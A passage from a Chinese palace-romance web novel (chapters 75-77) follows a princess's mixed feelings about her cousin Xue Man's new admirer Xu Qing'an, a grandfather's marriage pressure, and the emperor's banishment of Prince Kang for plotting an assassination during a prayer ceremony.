裴唯宁挫败地想,阿满打小便招人喜欢,母后喜欢,三哥喜欢,太子哥哥喜欢,宝儿喜欢,老恒安侯喜欢,连她自己?都非常喜欢! 许清桉喜欢上她简直理所当?然。 她双眉不?展,泄气万分。那可是阿满,她最?可爱伶俐的表妹阿满! 许清桉道:“公主知道何为真正的喜欢吗?” 裴唯宁懒得说话?,即便开口,她这会儿也说不?出好话?。 许清桉道:“真正的喜欢,应当?是逗人笑?,哄人哭,风雨同舟,患难与?共。而非处处留情,为爱人制造困苦,要她善解人意,体贴包容,终生患得患失。” 裴唯宁浑浑噩噩地离开,浑浑噩噩地回到皇宫,浑浑噩噩地躺到床上。 许清桉的最?后一句话?,反复回荡在耳畔。 他道:公主,你是阿满的姐姐,不?该阻止她收获幸福。 第76章 第 76 章【双章】 细究许清桉的用词, 是收获幸福,而非追寻幸福。 他似乎十分笃定,他能做得比三哥更好, 能给阿满一份无与伦比的深情。 哈,真是个狂妄自大、一厢情愿的家伙!他想给阿满幸福, 也?得看阿满肯不肯要! ……那,阿满肯不肯要? 裴唯宁回忆薛满对许清桉的百般维护, 不许旁人说他的任何坏话, 不喜蒋芸娘对他的乱点鸳鸯。与许清桉在一起?时,她总是笑容满面,言辞间轻松自在,带着少女独有的任性恣意。 比起?从前的阿满, 现在的她是前所未有的鲜活欢畅。 她也?喜欢许清桉吗?像喜欢三哥那样?的喜欢? 裴唯宁的思绪飘到半年前, 她偷听到母后与三哥的对话后,跑到御花园问阿满:天?底下的男子那么多, 难道她非三哥不可吗? 阿满道:天?底下的男子数之不尽,但我认识的人里三哥对我最好。 那时的她们很天?真,以?为成亲便是终结, 阿满没?机会?遇到其他男子, 对她好过三哥的其他男子。 可惜老天?爱开玩笑,三哥犯了错,阿满离开京城, 许清桉从天?而降! 裴唯宁敲敲胀疼的脑袋,将被子盖到头顶:都怪自己这张乌鸦嘴, 爱问一些不可能的问题。这下好了, 不可能的事?情变为可能,三哥马上要鸡飞蛋打了! 裴唯宁硬在床上躺到中午, 直到薛皇后派人请她用膳才肯起?身。她无精打采地用了两口?菜,便放筷道:“母后,我饱了。” 薛皇后看她一眼,“昨晚不是说留宿薛府,怎又回来了?” 裴唯宁瞎编:“哦,我忽然发现没?带换洗的衣服,等改日?准备妥了再去过夜。” 薛皇后怎会?看不出她的强打精神?,“你与阿满闹别?扭了?” “当然没?有。”裴唯宁矢口?否认,“我与她是最好的姐妹,怎会?因?个……因?为换洗的衣裳闹别?扭。” 孩子大了,薛皇后并不打算追根究底,浅浅点拨一句,“阿满失忆后,倒多了几?分这年纪该有的脾气,你莫要只顾自己,也?得考虑她的感受。” 裴唯宁有气无力,“嗯,好,我知晓了。” 道理大家都懂,但做起?来何其困难?比如三哥,明知不该隐瞒南溪别?院的事?,却还是瞒了。比如她,明知不该因?许清桉的事?情介意,却多少还是如鲠在喉。 “林何举。”裴唯宁私下问侍卫,“你觉得我以?后该怎么面对她?” 林何举道:“公主是指谁,许少卿还是薛小姐?” “许清桉算个什么东西。”裴唯宁习惯性地贬低对方,以?此掩饰内心落寞,“我与他才认识几?天??哼,他也?配本?公主牵肠挂肚!” “公主所言甚是。”林何举同仇敌忾,“许少卿不识好歹,不配公主殿下浪费情绪。” “说得好,继续说。” 林何举不痛不痒地又骂了几?句许清桉,随即话锋一转,“依属下之见,薛小姐与公主是十几?年的好姐妹,即便做不成姑嫂,也?抹不去你们之间的深厚情谊。” “你的意思是,我该支持她和许清桉在一起??” “公主,无论薛小姐选择谁,都是她自己的事?情,旁人无权干涉。”林何举道:“您身为她的好姐妹,只需要支持她即可。” 裴唯宁静默良久,道:“我支持过三哥的。” 结果搞砸了一切,导致阿满伤心离开。在长达半年的忏悔愧疚中,她发誓余生要对阿满好,不再帮别?人欺瞒伤害她。 三哥也?好,许清桉也?罢,都抵不过阿满在她心中的地位。她们是一辈子的好姐妹,不该,也?不会?因?某个男人离心反目。 天?下之大,还愁找不到个合心合意的男人吗?不对,找一个哪能够,她身为公主,当然要找一堆合心合意的美男子,全部豢养在公主府的后院中! 裴唯宁豁然开朗,踮起?脚,拍拍林何举的脸颊,“你很不错,越来越合本?公主的心意!” “……”林何举的耳根悄悄泛红,虽然……但是……公主,男女授受不亲啊! * 裴唯宁本?不是扭捏之人,想通某些事?后便神?清气爽,收拾好几?天?的衣服首饰,准备去薛府住个十天?半月。 到薛府后,却发现有位小人儿比她去得更早。 小人儿正是太子之女,江都郡主裴茹楠。她听说薛满病愈后,一直恳求父王带她去薛府,今日?总算如愿以?偿。 她刚过四?岁生辰,依旧冰雪可爱,黑葡萄般的眼睛忽闪忽闪。 “阿满姑姑,您当真不记得宝儿了吗?” “嗯,的确不记得了。” “没?关?系,宝儿记得您便成。”裴茹楠讲话仍带稚气,“阿满姑姑,我重新介绍下自己:宝儿是我的乳名,我大名是裴茹楠,封号江都郡主,是当今太子与太子妃的长女。平日?喜欢放风筝、捉蝴蝶、荡秋千。我刚得了个妹妹,她大名叫茹嘉,小名叫兜儿,我长得像母妃,她更像父王一些……” 薛满打心底喜欢面前漂亮伶俐的女童,“好,这回我不会?忘记,会?将你的事?情都牢牢记住。” 裴茹楠开心极了,她的阿满姑姑一点没变! 薛满无师自通,带着裴茹楠在院中玩耍,摘桂花、荡秋千、玩乌龟赛跑,一大一小玩得不亦乐乎。 “阿满姑姑,这两只乌龟有名字吗?” “有,大的这只叫阿大,小的这只叫……” “叫阿小?” “错了,它叫阿理。” “为何叫阿理,不叫阿小呢?” “这是个秘密。” “是您与三皇叔的秘密吗?” 薛满愣了下,“我以?后再告诉你。” 裴茹楠懵懂应是,她不清楚大人间的弯弯绕绕,只觉得眼前的阿满姑姑提起?三皇叔时,失去了温柔似水的眼神?。 “宝儿!” “七姑姑。” 裴唯宁将宝儿抱个满怀,“小家伙,是太子哥哥送你来的吗?”问完又觉得多此一举,不是太子,难道能是蒋芸娘? 裴茹楠道:“是父王送我来的,他许我玩到下午再走。” “小家伙,又长高了些。”裴唯宁摸摸她的头顶,笑道:“等下雪时,我与阿满姑姑带你去湖上赏雪景,可好?” 裴茹楠双眼放光,“好!”随即又踌躇,“不过,得父王和母妃答应才行。” 裴唯宁道:“放心,我难得带你出去玩,太子哥哥不会?拒绝。”至于蒋芸娘……她的注意力全在席侧妃的孕事?上,哪有空管宝儿。 裴唯宁看向薛满,她坐在秋千上,穿着件淡粉薄袄,艾绿色的百褶裙,外头罩件素色织锦坎肩,如春日?枝头上的樱花,散发着沁人心脾的香气。 “小宁,宝儿,你们快来。”薛满拍拍身边的位置,“这秋千够大,能装下我们三个人。” 裴茹楠率先冲过去,她要坐在中间,那是最好的位置! 裴唯宁紧随其后,坐在秋千的最右边。 明荟在后头道:“奴婢们开始推了,公主、郡主、小姐,你们抓牢绳子哦。” 薛满、裴唯宁握紧两旁绳子,裴茹楠则抱住她们的腰。三人随着秋千高高荡起?,看到一望无际的天?空,飞檐走脊的庭院,簌簌北风卷着枯叶打旋。 “好冷啊!”薛满喊道。 “冷死人了!”裴唯宁也?喊。 “是很冷,但是很好玩。”裴茹楠兴奋大叫:“推得高些,再高些!” 明荟与明萱推得更加使?劲,银铃般的笑声散开,三人成为冬日?里最亮眼的景色。 裴长泽不知何时来到,站在门口?,静静注视这一幕。年少时,他经常见到类似的画面,阿满与唯宁共乘秋千,三弟会?在后面推她们荡高,她们与三弟的感情很好,好到令人羡慕。 三弟不像他,三弟什么都有。 “父王!”裴茹楠眼尖,朝他招手?,“您快来,替我们推秋千!” 让未来的皇帝给她们推秋千?开玩笑呢! 薛满忙拉回裴茹楠的手?,“宝儿,不闹。” 裴茹楠嘟嘴,“父王平时也?会?给我推秋千。” “给你推当然没?问题。”给她们推可就问题大了,“等你回去后再请他给你推。” 裴茹楠忽然固执,“我不,我这会?便要他推。” 裴唯宁轻飘飘地道:“那我和阿满下去,你自己玩吧。” 明荟、明萱停下动作,秋千归在原地,薛满和裴唯宁转向裴长泽,“太子哥哥。” 裴长泽走近,“怎么不玩了?” 裴茹楠闷声告状:“我想叫父王推秋千,阿满姑姑和七姑姑便不肯玩了。” 裴长泽失笑,孩子便是孩子,想法总是简单,“等改日?可好?你母妃传消息来,说是茹嘉身体不适,我们得早些回宫。” “啊,茹嘉哪里不舒服,不肯喝奶,还是又咳嗽了?”裴茹楠似模似样?地关?心起?来。 “等回去一看便知。”裴长泽对薛满、裴唯宁道:“阿满病了半年,我们也?许久未聚,改日?我去近水楼订桌席,你们跟三弟务必到场。” “行啊。”裴唯宁一口?答应,“等下了雪,我们也?想带宝儿去游湖赏雪景,到时候太子哥哥可不许推辞。” “你们能陪宝儿出门,我乐意至极。” 裴茹楠轻扯薛满的袖子,“赏雪景,三皇叔也?会?去吗?” 薛满道:“你三皇叔受了伤,该在府中好好休养。” 裴茹楠笑弯眼睛,这回三皇叔总算不跟她抢阿满姑姑了! 裴长泽道:“我方才与三弟谈话,见他面色不佳,似乎有些发热。” 他等了等,没?等到薛满的忧心忡忡,唯有一句,“表哥该请太医再来看看。” 裴长泽隐约觉得怪异,却没?有多想,“嗯,我与宝儿先走了。” 临走前,他指着秋千架道:“我记得以?前凤仪宫的秋千爬满凌霄花,一到夏天?便围满蝴蝶,好看得紧,只不知为何后来全部清理了。” “不仅吸引蝴蝶,更招了许多蜜蜂。”裴唯宁揭秘,“我与阿满被叮了好多回呢。” 原来如此。 裴长泽笑笑,牵着裴茹楠的手?离开。薛满与裴唯宁回到厅中喝茶,薛满问:“昨晚你怎么回去了?” 裴唯宁道:“我忘记带换洗衣裳,今日?准备妥当了又来,打算在你这住一段时间,你欢迎吗?” 薛满道:“欢迎,但你得答应我一个条件。” 裴唯宁道:“什么条件?” 薛满道:“你三哥要是发疯,你得帮我挡住他。” 裴唯宁默道:三哥,抱歉,这次她站阿满这边。 “好。”裴唯宁挤进薛满的椅子,搂着她的手?臂道:“阿满,你能跟我说说你过去半年内的事?情吗?你去了哪些地方,认识了哪些人,有没?有惊险刺激的经历。” “有啊!听说我与少爷相识那天?,便是他查出晏州州同贪污,被对方派的刺客追杀逃到山中。眼看要被灭口?时,本?姑娘挺身而出,一块石头便砸晕那人高马大的杀手?……” * 裴长泽走出薛府,见到一名青年站在端王府前,正与门卫说话。 青年观察敏锐,注意到隔壁府走出的人后,立即恭敬行礼,“京畿营银枭队路成舟,参见太子殿下。” 裴长泽道:“无须多礼,你来见三弟吗?” 路成舟道:“是,端王殿下有事?召见卑职。” 裴长泽颔首,带着裴茹楠上车离开。 路成舟目送马车消失在道路尽头,这才由人领着进入端王府。他不敢多看周围,兀自疑惑:京畿营此番并未参与祈福之行,端王为何好端端地召见他? 侍卫领他到偏厅,一刻钟后,裴长旭姗姗来迟。 又是一套标准的行礼,路成舟敛色屏气,“不知殿下召见卑职,有何吩咐?” 裴长旭问:“本?王听闻许清桉南下巡查时,是路校尉带领银枭队一路陪伴左右?” 路成舟道:“是,卑职奉圣上之命,保护许大人的安全。” 裴长旭问:“你可认识他身边那名叫阿满的年轻婢女。” 路成舟道:“卑职认识阿满姑娘。” 裴长旭道:“本?王想知道她平日?与许清桉如何相处,越详细越好。” 路成舟下意识想,定是许大人在何处得罪了端王殿下,以?至殿下想用阿满姑娘来要挟许大人。可惜他人微言轻,没?有替许大人说情的地位,更不敢隐瞒事?实。 他如实将两人的相处道来,在听到阿满姑娘被秦长河挟持后发生的事?时,端王猛烈咳嗽。 “许清桉提出用自己交换阿满?” “是。” “阿满宁愿脖子挨刀,也?要阻止他以?身犯险?” “没?错。” 空气忽然凝滞,一股无形的压力弥漫开,压得路成舟直不起?身。 路成舟未见裴长旭面白如纸,满眼风潇雨晦。 是他疏忽大意,错估了阿满与许清桉的半年情分。一百多个日?日?夜夜,她与许清桉形影不离,共度患难,难免会?产生错觉,以?为许清桉不可或缺。 只是不知,若许清桉娶妻生子,是否仍有资格成为阿满的不可或缺? 许清桉做好面对端王刁难的准备,出乎意料的是,对方高风亮节,不仅配合他的调查,更提出一些能够深究的可疑之处。 冷静沉着,公私分明,端王不愧为皇子表率。 碍于种种顾虑,许清桉无法光明正大求见阿满,好在门房已换,他们能够书信来往,短时间内倒也?凑合。 许清桉悉力调查石窟祈福刺杀一事?,东奔西跑,废寝忘食,在离圣上给出的期限只剩两日?时,恒安侯召他见了一面。 这对祖孙从前不亲近,如今依旧不亲近。 恒安侯指着桌上一堆画卷,开门见山地道:“圣上有意为你择一门亲事?,这是宫中送来的画卷,本?侯限你两刻钟内决定人选。” 许清桉道:“请祖父禀告圣上,孙儿暂时无意娶妻。” 暂时? 恒安侯嘲讽:“怎么,不搬出你那套‘不上青霄碑便不娶妻’的说辞了?” 许清桉待理不理,“孙儿还有事?,先行告退一步。” 恒安侯的火气瞬间上头,厉声喝道:“臭小子,这便是你求本?侯做事?的态度!你别?忘了,本?侯是你的祖父,不仅把控侯府上下,更掌握着你的未来!只要本?侯一句话,随时有人能取代你的位置,届时莫说皇亲国戚,便连虾兵蟹将都能压你一头!” 果然是老了,这么多年,翻来覆去只这几?句台词,再编不出更有新意的威慑。 许清桉道:“祖父想换世子,无须经过孙儿的同意,至于孙儿的将来,也?不劳祖父费神?多思。” “好,好极!”恒安侯怒极而笑,“既然你对本?侯不屑一顾,本?侯亦没?有必要顾虑祖孙之情。你想要拒绝圣上的指婚?那便亲自去圣上面前拒绝,顺便如实告诉圣上,你正在觊觎端王殿下的未婚妻!” 许清桉没?有被点破心思后的窘迫,“窈窕淑女,君子好逑,料想祖父年轻时也?有过类似的经历。” “……”老恒安侯神?色一滞。 又听他道:“祖父戎马半生,战无不胜,丰功伟绩数不胜数,然而回顾过往,祖父并非一无所憾。” 老恒安侯气势顿萎,焦躁不安:臭小子这话是何意?莫非他调查了自己的过去?倘若他敢提及絮敏……老恒安侯不介意将亲孙剁碎埋进后院,为来年的花草提供养分! 许清桉无视恒安侯吃人的目光,淡定地问:“祖父曾经输了一次,还想输第二次吗?” 一句话轻易劈开薛荣轩冷酷多年的心,如潮水般的记忆扑面涌来。他与絮敏一见钟情,两情相悦,本?该厮守到老,却因?他行军时的放纵而毁于一旦。絮敏不肯原谅他,加之薛科诚在旁觊觎,他痛失所爱,眼睁睁见絮敏嫁进薛家,与薛科诚生儿育女。 悔吗?当然悔!但往事?不可追,再悔也?于事?无补。如今时光荏苒,他们的小辈陷入相似的纠葛中,形势却有反转。薛科诚的外孙不知犯了什么错,逼得小阿满远走他乡,而他许荣轩的孙子洁身自好,愿为小阿满违抗皇权。 不消片刻,老恒安侯已做出决断,“你当真想娶阿满?” 许清桉道:“是。” “即便成为端王的敌人,被贬出朝堂,此生再无机会?与你生母团聚?” “祖父小看了我。”许清桉道:“阿满与前途,孙儿都会?牢牢抓在手?中。” 够贪婪,也?够狂妄的回答! 许多年前,老恒安侯用同样?的话问过嫡子许孝铭,前途与那渔女二选其一,他要选择哪一个?许孝铭没?有犹豫地选择渔女,声称荣华富贵乃过往云烟,唯有真情不可磨灭。 恒安侯府给了许孝铭锦衣玉食,他却为粗茶淡饭而莽撞丧命,使?许荣轩多年的厚望成为一场响当当的笑话。此后许荣轩虽接回其子许清桉,却吝啬施舍任何疼爱。 许荣轩不缺阿谀奉承的后辈,缺的是心坚如铁,深谋远虑的继承人。事?实证明,臭小子虽然可恶,却是最适合继承侯府之人。他会?延续恒安侯府的传奇,叫许家流芳百世。 “本?侯便帮你一回。”恒安侯沉声,“但你也?要承诺本?侯,不可轻举妄动,做出任何危害侯府之事?。” 许清桉作揖,“孙儿应诺。” “此番圣上指婚,少不得端王暗中推波助澜,你既要虎口?夺食,便该做好万全准备。”老恒安侯道:“薛老匹夫惯来阴险,他的孙子必然一脉相承。” 他不客气地诋毁了薛科诚一番,见许清桉没?有附和之意,烦躁地挥挥手?,“滚吧,本?侯累了。” 许清桉回到瑞清院,招来蜚零问道:“江书韵何在?” 蜚零道:“回世子,江书韵被杜洋安置在城外的一所宅院中,原来的仆从也?移了过去,又请刘太医上门看诊,生活与南溪别?院时一般无二。但属下打听到,新院子只租到下月底,等江书韵嫁人后便要退掉。” “江书韵的未婚夫是何人?” “是一名皇商的次子,虽嫡出,但上头有名厉害的兄长,他常年不得父亲赏识,所以?才答应与江书韵的婚事?,以?此来讨好端王殿下。” “你去想个办法,叫他主动解除与江书韵的婚事?。”许清桉道:“越快越好。” 这好办。 蜚零龇牙,“属下得令,务必叫他三天?内主动解除婚约。横竖郎无情,妾无意,真成了亲也?是一对怨侣。” “嗯,我叫你办的事?情?” “属下试着往端王府塞过人,但端王府选仆严苛,非家生子不收,且压根不收新婢女。属下打听到端王院中的确有婢女服侍,但都是从小陪伴端王,只做事?不近身的那种。她们倒是有心勾引端王,奈何端王御下有方,叫她们有贼心也?无贼胆。” “……”许清桉道:“他既这般有原则,怎会?被阿满的婢女所惑?” 蜚零道:“兴许是年少无知,又兴许是天?定姻缘,挡也?挡不住?” 许清桉一如既往对端王没?兴趣,对方便是喜欢宫中妃子也?没?兴趣,“端王与太子关?系如何?” “兄友弟恭,君圣臣贤,堪称皇家表率。” ……这都多少个表率了。 许清桉若有所思,最近他调查佛窟祈福刺杀一案,拔萝卜带泥般查出许多事?情。譬如太子被禁足是受亲舅广阑王牵连;张、杨两家被抄是因?谋害关?键证人,并操纵流言愚弄圣上;石窟祈福刺杀,更与皇子间的谋算息息相关?。 相信天?家有兄弟情深,倒不如相信这世上有仙人存在,好歹能寄托凡夫俗子们的祈愿。 不出几?日?,大理寺对外宣布石窟祈福刺杀一案的调查结果:背后指使?者?竟是九皇子康王! 原是康王记恨端王查抄张家,害得张太后、张贵妃与他禁足国寺,并以?此获得圣上夸赞,竟与太子同享祈福殊荣!康王自小养在太后膝下,其母张贵妃极得盛宠,是以?要风得风,要雨得雨,面对太子时亦趾高气扬。一朝落难,他不单没?警惕深省,反倒心生歹念,想借石窟祈福生事?,将端王的颜面狠狠扯落在地! 据康王本?人所说,他毫无加害兄长之心,只浅浅吩咐杀手?们扰乱祈福,营造出端王办事?不力的局面。随后再散播留言,挑拨端王、太子两派的关?系,圣上烦不胜烦时,便会?想起?康王的贴心,提前许他回到宫中。 …… 不得不说,康王的设想合理,行动顺利,一切本?该朝着他的预期发展。可惜他自以?为隐藏的深,却被大理寺在短短半个月内识破计谋,捉到景帝面前。 景帝望着跪在下首,胆怯却仍挺直腰板的九子康王。他今年一十有五,承袭张贵妃的绝世容貌,是名唇红齿白的少年郎。他不似太子温和,没?有端王谦雅,不如昭王识时务,惯来至情至性。 景帝曾以?为他有一颗赤子之心,而今看来,不过是有恃无恐。 “小九。”景帝和颜悦色,“你可知错了?” 康王闻言,眼中浮现浓浓的得意。太后与母妃都劝阻他莫要冒险,但他向来最得父皇宠爱,便连那至高无上的龙椅,也?在幼年时被抱着坐了几?回。他不用学任何一位皇兄的谨言慎行,便能得到父皇的真心喜爱,由此可见,他才是父皇属意的储君人选。 “父皇。”康王脆声道:“儿臣知错了。” “你错在哪里?” “儿臣不该任性妄为,破坏了父皇的祈福之行,也?不该没?轻没?重伤了三皇兄。” “依你所见,朕该如何罚你?” “便罚儿臣在国寺再禁足半年,父皇以?为如何?” 景帝朗笑出声,转向一旁侍立的许清桉:“许少卿,你以?为康王的自罚三杯如何?” 许清桉道:“臣以?为,康王殿下该多读些书才是。” “好你个许清桉,竟敢讽刺本?王才疏学浅!”康王的肩膀隐隐作痛,这是他反抗抓捕时,被许清桉强拧所致,“本?王读书自有老师教导,何须你来指手?画脚!” 许清桉默不作声,他一直不爱跟蠢货说话。 康王欲向景帝告状,岂料下一刻,景帝问道:“许少卿,按照律法,朕当如何处置康王?” 许清桉道:“按照大周律法,破坏祈福祭祀等大型活动者?,从犯当斩立决,主犯当诛九族。谋杀皇嗣者?,主犯、从犯均当诛九族。” 景帝颔首,重新看向康王,目光依旧慈爱,“小九,你可听清许少卿说的话?” 康王的脸色逐渐惨白,“父、父皇,儿臣是您的孩子,与那些低贱的庶民不一样?!” 景帝道:“你的意思是,你仗着皇子身份,便能够无视皇威,无视律法,随心所欲?” 康王喊:“儿臣没?有这个意思,儿臣是一时糊涂——” “今日?你一时糊涂,便敢扰乱祈福,谋害兄长。改日?你意识不清,是否便会?大逆不道,谋权篡位!” 景帝的字字质问如巨石般砸向康王,他终于意识到龙椅上坐着的是君王,而非他臆想中的慈父。 “父王,儿臣知错了,儿臣不该为张家叫屈,儿臣不该听信谗言对皇兄出手?!儿臣真知错了,求父皇给儿臣一次改正的机会?!” 额头撞击石砖的声音响彻大殿,急躁的一下又一下,地砖转眼便染上血迹。 康王心存侥幸,以?为能用苦肉计唤醒景帝的疼惜,岂料景帝道:“许少卿,来替朕磨墨。” 许清桉站到龙案旁研墨,景帝望纸沉思,随后笔走龙蛇。 景帝起?草完圣旨,命许清桉当场宣读。他声音清朗,字正腔圆,令康王不由停止动作,心惊肉跳地等待最后处罚。 “奉天?承运,皇帝诏曰:朕之九子康王,大愚不灵,听信谗言,是非不分。其心騃毒,扰乱国之祈愿,谋害亲兄……” 康王顿觉天?旋地转,在父皇眼中,他竟犯了这等无可饶恕的罪行吗?他虽有错在先,但三皇兄仅受了些皮外伤,流言也?还未传开!父皇何至于此! 许清桉还在念:“剥其康王封号,贬为庶人,流放宁古塔。其母张氏,恃宠生骄,教子无方,责令落发,永伴青灯古佛……” 话音刚落,康王再无心愤怨,惊惶万状地爬上前,“父皇!父皇!儿臣知罪了!儿臣不该谋害皇兄!儿臣不该扰乱祈福!父皇!儿臣是您的小九,您最疼爱的小九啊!” 禁卫拦住康王,阻止他接近景帝半步。 康王痛哭流涕,伸着手?喊:“父皇,您想想太后,太后是您的亲生母亲!是儿臣的亲祖母,求您看在太后的面子上,饶过儿臣这回吧!” 景帝居高临下地俯视,眼底无悲无喜,“事?到临头,你还敢拿太后威胁朕。” “儿臣不敢!儿臣祈求父皇网开一面,儿臣不是张家人,是裴家子孙,是您的亲生骨血啊!” 景帝叹息,难掩惋惜,“早知现在,又何必当初。” 他摆摆手?,禁卫便将哭喊的康王拖出门,大殿霎时空寂。 景帝道:“许少卿。” 许清桉道:“臣在。” “你这次表现不错,想要什么奖励?” “多谢圣上夸赞,臣不敢独揽功劳,此案全靠胡大人洞若观火,循着蛛丝马迹一查到底。” “胡一木是什么德行,朕比你要清楚。”景帝道:“朕如今问的是你,你可有想要的奖励?” 想要您儿子的未婚妻。 许清桉昧着良心道:“臣只求建功立业,不求身外之物。” “恒安侯府确实不差钱财。”景帝道:“朕本?想替你指门婚事?,令皇后挑了好些亲王、一品大员家的嫡女画册送去。但听你祖父说,你依旧没?有成婚的意愿?” 话题又绕回婚事?上,许清桉道:“臣年纪尚轻,娶亲为时尚早……” “你今年十之有九,不小了。”景帝哼道:“你祖父先前到处帮你问亲事?,这会?却改变口?风,与你一般不急不躁,倒衬得朕在多管闲事?。” “臣心领圣上的好意,然而,”许清桉停顿,“臣想跟您说句实话。” 景帝挑眉,“说来听听。” “自臣满十四?岁开始,祖父便一意孤行,要替臣求娶贵女。臣甚是反感祖父的强硬手?段,他越是逼迫,臣便越是抵触。”许清桉罕见地吐露心声,“在祖父眼中,门当户对是娶妻的前提,但臣以?为,娶亲当娶心悦,而非利益衡量后的结合。” “此言差矣,你身为恒安侯世子,本?当娶高门之妻。”景帝意有所指,“你切莫走了他人老路,令恒安侯府再次蒙羞。” 眼见许清桉垂头丧气,景帝又觉得言辞过重,毕竟是他看重的年轻臣子,“这样?吧,朕允诺你,若你遇到心仪的女子,但凡对方家世清白,祖上出过三品上的官员,朕便绕过老恒安侯替你指婚。” 许清桉立刻叩谢,“臣谢过圣上恩典,吾皇万岁万岁万万岁!” 诸事?毕,许清桉离开大殿,刚走出不远,正与端王裴长旭打个照面。 相同地点,相同的两个人,心情却是翻天?覆地。 裴长旭对许清桉的欣赏荡然无存,余留的唯有憎嫌,“许少卿好本?事?,连圣上指婚也?敢推拒,莫非仗着有恒安侯府做靠山,连皇威都不放在眼里?” 许清桉云淡风轻,“殿下的手?未免伸得太长,您有功夫干涉下官的婚事?,不如替江家小姐的院子再续几?年租约。免得她将来无处可去,再去端王府的门前哭哭啼啼。” “许清桉,你别?以?为本?王不敢动你!” “殿下尽管放马过来,下官拭目以?待。” 战意一触即发,又点到为止,落到旁人眼中,竟像是两位青年点头寒暄,颇为惺惺相惜。 呵,真是好大的一场误会?。 第77章 第 77 章【双章】 裴长旭进入大殿时?, 景帝正负手站在窗前,背影伟岸中透着几分孤寂。 “父皇,儿臣来?了。”裴长旭喊道。 “嗯。”景帝没有回头, “你肩上的伤好些没?” “多谢父皇关心,太医说?儿臣恢复神速, 下月便能行动?自如。” “如此甚好。”景帝顿道:“你来?时?路上可见到小?九?” “见到了。”裴长旭跨过地上的血迹,停在景帝身后, 顺势望向窗外一株茂盛的寒梅, “九弟看起来?不是很好。” 景帝冷笑,“他破坏朕的祈福之行,意图谋害皇嗣,朕岂能让他好过。” 裴长旭道:“九弟年幼, 做事不顾前后, 理该小?受惩戒。” “有张家的前车之鉴在,他竟然还敢在太岁头上动?土, 可见他全然不将朕放在眼里。”景帝道:“朕若再对他心软,便枉为一国之君。” 裴长旭问:“父皇打算如何处置九弟?” 景帝道:“朕已拟好圣旨,贬康王与张贵妃为庶人, 康王流放宁古塔, 张贵妃落发为尼。对了,还有太后,朕的好母亲太后, 朕打算送她去皇陵守墓,无朕口谕, 此生不得入京半步。” “……”裴长旭道:“父皇, 责罚是不是重了些?” 景帝道:“旭儿,为君王者, 切忌心慈手软。朕便是顾念亲情,才会给张家可乘之机,活生生毁了朕的一个?儿子!” 景帝气?急攻心,眼前一黑,竟直直向前栽倒。 裴长旭眼疾手快地扶住他,“父皇,您莫生气?,保重身体要紧!” 景帝深吸几口气?,自嘲笑道:“朕该早些效仿汉魏皇室的去母留子,省得外戚壮大,祸及大周根本……” 裴长旭扶景帝到龙椅上坐好,替他倒上茶水,点起安神香,“父皇,自您登基至今已有十八年,在您的励精图治下,百姓富足安康,国库扭亏为盈,边境更收回数十城,堪称太平盛世。” 景帝喝了口茶,怒气?未有消减,“朕治理得了这天?下,却治理不了朕的生母与儿子!朕对他们?不够好吗,竟一个?个?地向着外人!朕恨不得将太后也流放宁古塔,叫她看清楚,朕不仅是她的儿子,更是这大周朝的帝王!” 裴长旭道:“是张家犯事在先,父皇无论怎么处置都合乎情理。” 景帝望着面前这个?唯一不给他添堵的儿子,心绪平稳些许,“朕命人严密监视太子,证实他最?近半年确实没跟广阑王联系。” 裴长旭会意,“父王仍怀疑太子跟广阑王有过联系?” “广阑王是太子的亲舅舅,朕不能,也不敢赌太子的真心。”景帝往后一靠,神色疲惫不堪,“祈福那日,太子拿剑奔向朕的那一刻,朕竟……朕竟以为他意图不轨。” 裴长旭心中一凛,帝王疑心谁都可以,但疑心储君,后果不言而明。他意识到问题的关键——迟卫带来?的广阑王罪证,若张、杨两家没有撒谎,必有第三方在迟卫死前偷走了罪证。 会是太子吗? 景帝忽地大笑,“有人不想?朕拿到迟卫带来?的罪证,且通过俞晓东的南行调查,让朕以为兰塬平安繁荣,广阑王受民众爱戴,一切均是子虚乌有的诬陷。但他小?看了朕,朕是一国之君,岂会轻易遭人蒙骗!” 裴长旭问:“听父皇的意思,似是掌握了新的线索?” 景帝问:“你可听过蒂棠茚一花?” 裴长旭细想?,“儿臣听过,蒂棠茚乃南垗培育出的一种毒花,曾在前朝时?引起祸乱,被?列为一等禁物?。” “正是此毒物?。”景帝道:“许清桉南下巡查衡州时?,曾发现当地有名药商勾结知州夫人,暗地种植蒂棠茚,将此花制成药丸售往各地,造成数十人身亡。朕后来?派了刑部侍郎苏康平接手此案,据他近几月的调查可知,那药商三年前曾在兰塬待过几月,其间迎娶当地的一名风尘女子为继室。” “那风尘女子的来?历有古怪?” “何止古怪,简直是高?深莫测。”景帝道:“那风尘女子出自兰塬一所名为‘求香畔’的青楼,此楼神秘至极。据闻楼内女子均是闭月羞花,天?赋异禀,一次便能叫宾客神魂颠倒。然而此楼规矩甚多,非贵族子弟不接,非熟客带领不接,非一掷千金者不接,是以,更引常人遐想?,视进楼为此生夙愿。” 裴长旭道:“官府不管?” “正经开门接客,充其量门槛高?了些,官府有何理由去管。”景帝嗤笑,“再者,凡开青楼者背后必有靠山,求香畔的靠山是谁有待考究。” 药商继室,蒂棠茚,求香畔,兰塬……从种种迹象来看,一切绝非只是巧合。 景帝道:“似药商这般丧尽天良之人,苏康平还在别?处查到了好几个?,他们?均在兰塬短暂停留,与求香畔的女子有所瓜葛。” 裴长旭问:“父皇可命人将他们?捉拿审问?” 景帝道:“欲成大事,岂能打草惊蛇?” 裴长旭一点便通,“儿臣明白了,父皇要的不是证明蒂棠茚与求香畔有关,而是求香畔地处兰塬,竟能从南垗走私进一等禁物?,其中谁人勾结邻国,谁人疏通关卡,谁人从中牟利最?大。” “没错。”景帝意味深长,“迟卫曾称,广阑王暗中与南垗勾结,倒卖禁物?,收敛钱财。” “求香畔与广阑王脱不开干系,若能拿到确凿证据,便能撕开兰塬的虚假繁荣,戳穿广阑王的谎言。”裴长旭沉吟道:“只是求香畔定下如此严苛的门槛,势必探查不易。” “所以,朕必须派出一名聪明绝顶,有谋有略之人去往兰塬,确保此事万无一失。” “如此说?来?,儿臣倒有个?人选推荐。” “哦?是谁?” “恒安侯世子,大理寺少卿许清桉。”裴长旭从容道:“他与父皇的期望相符,是调查此案的不二人选。” “不瞒你说?,朕亦有此意。”景帝赞道:“他这几年的表现甚佳,除你之外,同龄者间无出其右,往后必能积厚成器。” “兰塬可成为他人生历练中的重要一环。”裴长旭不遗余力地夸赞,“儿臣相信以他的心性谋略,调查求香畔是手到擒来?。” 